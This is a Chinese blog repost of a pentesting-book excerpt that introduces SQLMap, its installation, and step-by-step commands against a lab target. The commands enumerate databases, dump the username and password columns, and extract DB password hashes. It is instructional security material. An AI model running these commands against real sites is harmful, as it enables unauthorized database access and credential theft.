最新SQLMap安装与入门技术

点击星标,即时接收最新推文

53557cbed35ae640d978d6ebeba8790e.png

本文选自《web安全攻防渗透测试实战指南(第2版)》

五折购买链接:u.jd.com/3ibjeF6

d0e81dbe99b8c92fc9598b24d9042b07.gif

SQLMap详解

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞。SQLMap内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下五种独特的SQL注入技术。

(1)基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注,即不能根据页面返回的内容判断任何信息,要通过条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回页面中。

(4)联合查询注入,在可以使用Union的情况下的注入。

(5)堆查询注入,可以同时执行多条语句的注入。

SQLMap的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

5b146abacdfcf1a3aaaffe9c451b3f30.gif

SQLMap的安装

SQLMap的安装需要Python环境(支持Python 2.6、Python 2.7、Python 3.x),本节使用的是Python 3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中(或者在安装时,勾选“Add Python to environment variables”选项,自动将Python加入环境变量),如图3-1所示。

 a08d3926a1eca3c112b26251b124dc21.png

图3-1  

从SQLMap官网下载最新版的SQLMap,打开cmd,输入命令“python sqlmap.py”,工具即可正常运行,如图3-2所示。

1a106ec9938f582f6a51aadc93f7b0b3.png

图3-2

fc4e68c05f92c1e82b480ab252d23ffc.gif

SQLMap入门

1.判断是否存在注入

假设目标注入点是http://10.211.55.6/Less-1/?id=1,用如下命令判断其是否存在注入:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1

结果显示存在注入,如图3-3所示。

66f5b08232a0a69f97c50be80922891c.png

图3-3  

注意,当注入点后面的参数大于等于两个时,需要加双引号,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1&uid=2"

运行上述命令后,Terminal终端上会“爆出”一大段信息,如图3-4所示。信息中有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否跳过并检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数ID存在漏洞,是否继续检测其他参数,一般默认按回车键即可继续检测。

   7fefafb0f48841193e1c0b2adf0a4a97.png

图3-4

2.判断文本中的请求是否存在注入

从文件中加载HTTP请求,SQLMap可以从一个.txt文件中获取HTTP请求,这样就可以不设置其他参数(如Cookie、POST数据等)。.txt文件中的内容为Web数据包,如图3-5所示。

b1d2ecf8b4334fbf10c63443458150ab.png 图3-5

运行如下命令,判断是否存在注入:

python sqlmap.py –r 1.txt

运行后的结果如图3-6所示,参数“-r ”一般在存在Cookie注入时使用。

02e9f1780ab5624a19bdf020be5286cc.png

图3-6  

3.查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,命令如下:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --dbs

如果当前用户有权限读取包含所有数据库列表信息的表,则使用该命令即可列出所有数据库,如图3-7所示。

1910ca8dc59628b0e73d585748f516c0.png 

图3-7  

从图3-7中可以看到,查询出了5个数据库。

继续注入时,将参数“--dbs”缩写成“-D xxx”,意思是在xxx数据库中继续查询其他数据。

4.获取数据库中的表名

该命令的作用是在查询完数据库后,查询指定数据库中所有的表名,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security --tables

如果不在该命令中加入参数“-D”来指定某一个具体的数据库,则SQLMap会列出数据库中所有库的表,如图3-8所示。

006a5eb8af80fc66d4ca7840299051f6.png 

图3-8  

从图3-8中可以看出security数据库拥有的4个表名。继续注入时,将参数“--tables”缩写成“-T”,意思是在某个表中继续查询。

5.获取表中的字段名

该命令的作用是在查询完表名后,查询该表中所有的字段名,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security -T users --columns

该命令的运行结果如图3-9所示。

b6635e0e93496600862708dcc76cf244.png 

图3-9  

从图3-9中可以看出,security数据库中的users表中一共有3个字段。在后续的注入中,将参数“--columns”缩写成“-C”,意思是获取指定列的数据。

6.获取字段内容

该命令的作用是在查询完字段名之后,获取该字段中具体的数据信息,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" –D security –T users –C username,password  --dump

这里需要下载的数据是security数据库里users表中username和password的值,如图3-10所示。

1156e85f18b026a8f8f949a07d96f494.png 

图3-10  

7.获取数据库的所有用户

该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表时,使用该命令就可以列出所有管理用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --users

可以看出,当前用户账号是root,如图3-11所示。

661b7577e015eb04f2eea4dc788fa87e.png 

图3-11  

8.获取数据库用户的密码

该命令的作用是列出数据库用户的密码。如果当前用户有读取用户密码的权限,则SQLMap会先列举出用户,然后列出Hash,并尝试破解,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --passwords

从图3-12中可以看出,密码采用MySQL 5加密方式,可以在解密网站中自行解密。

54b6ea0c03e26617eba2942f895fd01f.png 

图3-12  

9.获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-db

从图3-13中可以看出,数据库是security。

8d4e5ac8385a9bf02481b633d7eb39da.png 

图3-13  

10.获取当前网站数据库的用户名称

使用该命令可以列出当前使用网站数据库的用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-user

从图3-14中可以看出,用户是root。

7eb6466a1b123b0acf4a47f164d578dd.png 

图3-14  

—  实验室旗下直播培训课程  —

0adccb3ca15c9618ddd6d6aa2745ef15.png

5cfd18b0a446d1eb5cde3094f908caa6.jpeg

7a09272f677ca21a1a244269779eedc6.jpeg09058f257ec84ab10457b674587e2d44.png

c1d5aa8fd4c6a08862971e490aa9e8c4.jpeg

73644c1a8311b632744a41f49f0c5f0a.jpeg

156e6fe4fa3093596a0360432036ced9.jpeg

585635c70b175c1fae0892b87c7a7e9f.jpeg

69bc852176994473568ef2ba0ac76d13.jpeg


和20000+位同学加入MS08067一起学习

e3bc44b6de209e39c10ec451a5a543d7.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值